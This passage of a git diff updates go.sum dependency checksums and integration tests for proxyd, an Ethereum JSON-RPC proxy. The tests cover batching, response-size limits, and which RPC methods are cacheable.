h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= -google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= -google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= -google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= -google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190716160619-c506a9f90610/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= -google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200108215221-bd8f9a0ef82f/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= -google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= -google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= -google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= -google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= -google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= -google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= -google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= -google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= -google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= -google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= -google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1 h1:SnqbnDw1V7RiZcXPx5MEeqPv2s79L9i7BJUlG/+RurQ= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= +google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= +google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= -gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= -gopkg.in/natefinch/npipe.v2 v2.0.0-20160621034901-c1b8fa8bdcce h1:+JknDZhAj8YMt7GC73Ei8pv4MzjDUNPHgQWJdtMAaDU= -gopkg.in/natefinch/npipe.v2 v2.0.0-20160621034901-c1b8fa8bdcce/go.mod h1:5AcXVHNjg+BDxry382+8OKon8SEWiKktQR07RKPsv1c= -gopkg.in/olebedev/go-duktape.v3 v3.0.0-20200619000410-60c24ae608a6/go.mod h1:uAJfkITjFhyEEuUfm7bsmCZRbW5WRq8s9EY8HZ6hCns= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= -gopkg.in/urfave/cli.v1 v1.20.0 h1:NdAVW6RYxDif9DhDHaAortIu956m2c0v+09AZBPTbE0= -gopkg.in/urfave/cli.v1 v1.20.0/go.mod h1:vuBzUtMdQeixQj8LVd+/98pzhxNGQoyuPBlsXHOQNO0= -gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw= -honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= -honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las= -rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= -rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= -rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= -rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +rsc.io/tmplfunc v0.0.3 h1:53XFQh69AfOa8Tw0Jm7t+GV7KZhOi6jzsCzTtKbMvzU= +rsc.io/tmplfunc v0.0.3/go.mod h1:AG3sTPzElb1Io3Yg4voV9AGZJuleGAwaVRxL9M49PhA= diff --git a/go/proxyd/integration_tests/batch_timeout_test.go b/go/proxyd/integration_tests/batch_timeout_test.go index 372f047c72..4906c1d07e 100644 --- a/go/proxyd/integration_tests/batch_timeout_test.go +++ b/go/proxyd/integration_tests/batch_timeout_test.go @@ -22,7 +22,7 @@ func TestBatchTimeout(t *testing.T) { config := ReadConfig("batch_timeout") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() diff --git a/go/proxyd/integration_tests/batching_test.go b/go/proxyd/integration_tests/batching_test.go index b0f811ca4b..c1f8b386d0 100644 --- a/go/proxyd/integration_tests/batching_test.go +++ b/go/proxyd/integration_tests/batching_test.go @@ -20,6 +20,9 @@ func TestBatching(t *testing.T) { ethAccountsResponse2 := `{"jsonrpc": "2.0", "result": [], "id": 2}` + backendResTooLargeResponse1 := `{"error":{"code":-32020,"message":"backend response too large"},"id":1,"jsonrpc":"2.0"}` + backendResTooLargeResponse2 := `{"error":{"code":-32020,"message":"backend response too large"},"id":2,"jsonrpc":"2.0"}` + type mockResult struct { method string id string @@ -40,6 +43,7 @@ func TestBatching(t *testing.T) { expectedRes string maxUpstreamBatchSize int numExpectedForwards int + maxResponseSizeBytes int64 }{ { name: "backend returns batches out of order", @@ -128,11 +132,24 @@ func TestBatching(t *testing.T) { maxUpstreamBatchSize: 2, numExpectedForwards: 1, }, + { + name: "large upstream response gets dropped", + mocks: []mockResult{chainIDMock1, chainIDMock2}, + reqs: []*proxyd.RPCReq{ + NewRPCReq("1", "eth_chainId", nil), + NewRPCReq("2", "eth_chainId", nil), + }, + expectedRes: asArray(backendResTooLargeResponse1, backendResTooLargeResponse2), + maxUpstreamBatchSize: 2, + numExpectedForwards: 1, + maxResponseSizeBytes: 1, + }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { config.Server.MaxUpstreamBatchSize = tt.maxUpstreamBatchSize + config.BackendOptions.MaxResponseSizeBytes = tt.maxResponseSizeBytes handler := tt.handler if handler == nil { @@ -148,7 +165,7 @@ func TestBatching(t *testing.T) { require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", goodBackend.URL())) client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() diff --git a/go/proxyd/integration_tests/caching_test.go b/go/proxyd/integration_tests/caching_test.go index a75a59106c..e74b85b4a7 100644 --- a/go/proxyd/integration_tests/caching_test.go +++ b/go/proxyd/integration_tests/caching_test.go @@ -18,15 +18,20 @@ func TestCaching(t *testing.T) { defer redis.Close() hdlr := NewBatchRPCResponseRouter() + /* cacheable */ hdlr.SetRoute("eth_chainId", "999", "0x420") hdlr.SetRoute("net_version", "999", "0x1234") - hdlr.SetRoute("eth_blockNumber", "999", "0x64") - hdlr.SetRoute("eth_getBlockByNumber", "999", "dummy_block") - hdlr.SetRoute("eth_call", "999", "dummy_call") - - // mock LVC requests - hdlr.SetFallbackRoute("eth_blockNumber", "0x64") - hdlr.SetFallbackRoute("eth_gasPrice", "0x420") + hdlr.SetRoute("eth_getBlockTransactionCountByHash", "999", "eth_getBlockTransactionCountByHash") + hdlr.SetRoute("eth_getBlockByHash", "999", "eth_getBlockByHash") + hdlr.SetRoute("eth_getTransactionByHash", "999", "eth_getTransactionByHash") + hdlr.SetRoute("eth_getTransactionByBlockHashAndIndex", "999", "eth_getTransactionByBlockHashAndIndex") + hdlr.SetRoute("eth_getUncleByBlockHashAndIndex", "999", "eth_getUncleByBlockHashAndIndex") + hdlr.SetRoute("eth_getTransactionReceipt", "999", "eth_getTransactionReceipt") + hdlr.SetRoute("debug_getRawReceipts", "999", "debug_getRawReceipts") + /* not cacheable */ + hdlr.SetRoute("eth_getBlockByNumber", "999", "eth_getBlockByNumber") + hdlr.SetRoute("eth_blockNumber", "999", "eth_blockNumber") + hdlr.SetRoute("eth_call", "999", "eth_call") backend := NewMockBackend(hdlr) defer backend.Close() @@ -35,7 +40,7 @@ func TestCaching(t *testing.T) { require.NoError(t, os.Setenv("REDIS_URL", fmt.Sprintf("redis://127.0.0.1:%s", redis.Port()))) config := ReadConfig("caching") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -48,6 +53,7 @@ func TestCaching(t *testing.T) { response string backendCalls int }{ + /* cacheable */ { "eth_chainId", nil, @@ -60,14 +66,51 @@ func TestCaching(t *testing.T) { "{\"jsonrpc\": \"2.0\", \"result\": \"0x1234\", \"id\": 999}", 1, }, + { + "eth_getBlockTransactionCountByHash", + []interface{}{"0xb903239f8543d04b5dc1ba6579132b143087c68db1b2168786408fcbce568238"}, + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_getBlockTransactionCountByHash\", \"id\": 999}", + 1, + }, + { + "eth_getBlockByHash", + []interface{}{"0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b", "false"}, + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_getBlockByHash\", \"id\": 999}", + 1, + }, + { + "eth_getTransactionByBlockHashAndIndex", + []interface{}{"0xe670ec64341771606e55d6b4ca35a1a6b75ee3d5145a99d05921026d1527331", "0x55"}, + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_getTransactionByBlockHashAndIndex\", \"id\": 999}", + 1, + }, + { + "eth_getUncleByBlockHashAndIndex", + []interface{}{"0xb903239f8543d04b5dc1ba6579132b143087c68db1b2168786408fcbce568238", "0x90"}, + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_getUncleByBlockHashAndIndex\", \"id\": 999}", + 1, + }, + /* not cacheable */ { "eth_getBlockByNumber", []interface{}{ "0x1", true, }, - "{\"jsonrpc\": \"2.0\", \"result\": \"dummy_block\", \"id\": 999}", - 1, + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_getBlockByNumber\", \"id\": 999}", + 2, + }, + { + "eth_getTransactionReceipt", + []interface{}{"0x85d995eba9763907fdf35cd2034144dd9d53ce32cbec21349d4b12823c6860c5"}, + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_getTransactionReceipt\", \"id\": 999}", + 2, + }, + { + "eth_getTransactionByHash", + []interface{}{"0x88df016429689c079f3b2f6ad39fa052532c56795b733da78a91ebe6a713944b"}, + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_getTransactionByHash\", \"id\": 999}", + 2, }, { "eth_call", @@ -79,14 +122,14 @@ func TestCaching(t *testing.T) { }, "0x60", }, - "{\"id\":999,\"jsonrpc\":\"2.0\",\"result\":\"dummy_call\"}", - 1, + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_call\", \"id\": 999}", + 2, }, { "eth_blockNumber", nil, - "{\"id\":999,\"jsonrpc\":\"2.0\",\"result\":\"0x64\"}", - 0, + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_blockNumber\", \"id\": 999}", + 2, }, { "eth_call", @@ -98,7 +141,7 @@ func TestCaching(t *testing.T) { }, "latest", }, - "{\"id\":999,\"jsonrpc\":\"2.0\",\"result\":\"dummy_call\"}", + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_call\", \"id\": 999}", 2, }, { @@ -111,7 +154,7 @@ func TestCaching(t *testing.T) { }, "pending", }, - "{\"id\":999,\"jsonrpc\":\"2.0\",\"result\":\"dummy_call\"}", + "{\"jsonrpc\": \"2.0\", \"result\": \"eth_call\", \"id\": 999}", 2, }, } @@ -128,24 +171,39 @@ func TestCaching(t *testing.T) { }) } - t.Run("block numbers update", func(t *testing.T) { - hdlr.SetFallbackRoute("eth_blockNumber", "0x100") - time.Sleep(1500 * time.Millisecond) - resRaw, _, err := client.SendRPC("eth_blockNumber", nil) + t.Run("nil responses should not be cached", func(t *testing.T) { + hdlr.SetRoute("eth_getBlockByHash", "999", nil) + resRaw, _, err := client.SendRPC("eth_getBlockByHash", []interface{}{"0x123"}) + require.NoError(t, err) + resCache, _, err := client.SendRPC("eth_getBlockByHash", []interface{}{"0x123"}) require.NoError(t, err) - RequireEqualJSON(t, []byte("{\"id\":999,\"jsonrpc\":\"2.0\",\"result\":\"0x100\"}"), resRaw) + RequireEqualJSON(t, []byte("{\"id\":999,\"jsonrpc\":\"2.0\",\"result\":null}"), resRaw) + RequireEqualJSON(t, resRaw, resCache) + require.Equal(t, 2, countRequests(backend, "eth_getBlockByHash")) + }) + + t.Run("debug_getRawReceipts with 0 receipts should not be cached", func(t *testing.T) { backend.Reset() + hdlr.SetRoute("debug_getRawReceipts", "999", []string{}) + resRaw, _, err := client.SendRPC("debug_getRawReceipts", []interface{}{"0x88420081ab9c6d50dc57af36b541c6b8a7b3e9c0d837b0414512c4c5883560ff"}) + require.NoError(t, err) + resCache, _, err := client.SendRPC("debug_getRawReceipts", []interface{}{"0x88420081ab9c6d50dc57af36b541c6b8a7b3e9c0d837b0414512c4c5883560ff"}) + require.NoError(t, err) + RequireEqualJSON(t, []byte("{\"id\":999,\"jsonrpc\":\"2.0\",\"result\":[]}"), resRaw) + RequireEqualJSON(t, resRaw, resCache) + require.Equal(t, 2, countRequests(backend, "debug_getRawReceipts")) }) - t.Run("nil responses should not be cached", func(t *testing.T) { - hdlr.SetRoute("eth_getBlockByNumber", "999", nil) - resRaw, _, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"0x123"}) + t.Run("debug_getRawReceipts with more than 0 receipts should be cached", func(t *testing.T) { + backend.Reset() + hdlr.SetRoute("debug_getRawReceipts", "999", []string{"a"}) + resRaw, _, err := client.SendRPC("debug_getRawReceipts", []interface{}{"0x88420081ab9c6d50dc57af36b541c6b8a7b3e9c0d837b0414512c4c5883560bb"}) require.NoError(t, err) - resCache, _, err := client.SendRPC("eth_getBlockByNumber", []interface{}{"0x123"}) + resCache, _, err := client.SendRPC("debug_getRawReceipts", []interface{}{"0x88420081ab9c6d50dc57af36b541c6b8a7b3e9c0d837b0414512c4c5883560bb"}) require.NoError(t, err) - RequireEqualJSON(t, []byte("{\"id\":999,\"jsonrpc\":\"2.0\",\"result\":null}"), resRaw) + RequireEqualJSON(t, []byte("{\"id\":999,\"jsonrpc\":\"2.0\",\"result\":[\"a\"]}"), resRaw) RequireEqualJSON(t, resRaw, resCache) - require.Equal(t, 2, countRequests(backend, "eth_getBlockByNumber")) + require.Equal(t, 1, countRequests(backend, "debug_getRawReceipts")) }) } @@ -158,10 +216,7 @@ func TestBatchCaching(t *testing.T) { hdlr.SetRoute("eth_chainId", "1", "0x420") hdlr.SetRoute("net_version", "1", "0x1234") hdlr.SetRoute("eth_call", "1", "dummy_call") - - // mock LVC requests - hdlr.SetFallbackRoute("eth_blockNumber", "0x64") - hdlr.SetFallbackRoute("eth_gasPrice", "0x420") + hdlr.SetRoute("eth_getBlockByHash", "1", "eth_getBlockByHash") backend := NewMockBackend(hdlr) defer backend.Close() @@ -171,7 +226,7 @@ func TestBatchCaching(t *testing.T) { config := ReadConfig("caching") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -181,26 +236,31 @@ func TestBatchCaching(t *testing.T) { goodChainIdResponse := "{\"jsonrpc\": \"2.0\", \"result\": \"0x420\", \"id\": 1}" goodNetVersionResponse := "{\"jsonrpc\": \"2.0\", \"result\": \"0x1234\", \"id\": 1}" goodEthCallResponse := "{\"jsonrpc\": \"2.0\", \"result\": \"dummy_call\", \"id\": 1}" + goodEthGetBlockByHash := "{\"jsonrpc\": \"2.0\", \"result\": \"eth_getBlockByHash\", \"id\": 1}" res, _, err := client.SendBatchRPC( NewRPCReq("1", "eth_chainId", nil), NewRPCReq("1", "net_version", nil), + NewRPCReq("1", "eth_getBlockByHash", []interface{}{"0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b", "false"}), ) require.NoError(t, err) - RequireEqualJSON(t, []byte(asArray(goodChainIdResponse, goodNetVersionResponse)), res) + RequireEqualJSON(t, []byte(asArray(goodChainIdResponse, goodNetVersionResponse, goodEthGetBlockByHash)), res) require.Equal(t, 1, countRequests(backend, "eth_chainId")) require.Equal(t, 1, countRequests(backend, "net_version")) + require.Equal(t, 1, countRequests(backend, "eth_getBlockByHash")) backend.Reset() res, _, err = client.SendBatchRPC( NewRPCReq("1", "eth_chainId", nil), NewRPCReq("1", "eth_call", []interface{}{`{"to":"0x1234"}`, "pending"}), NewRPCReq("1", "net_version", nil), + NewRPCReq("1", "eth_getBlockByHash", []interface{}{"0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b", "false"}), ) require.NoError(t, err) - RequireEqualJSON(t, 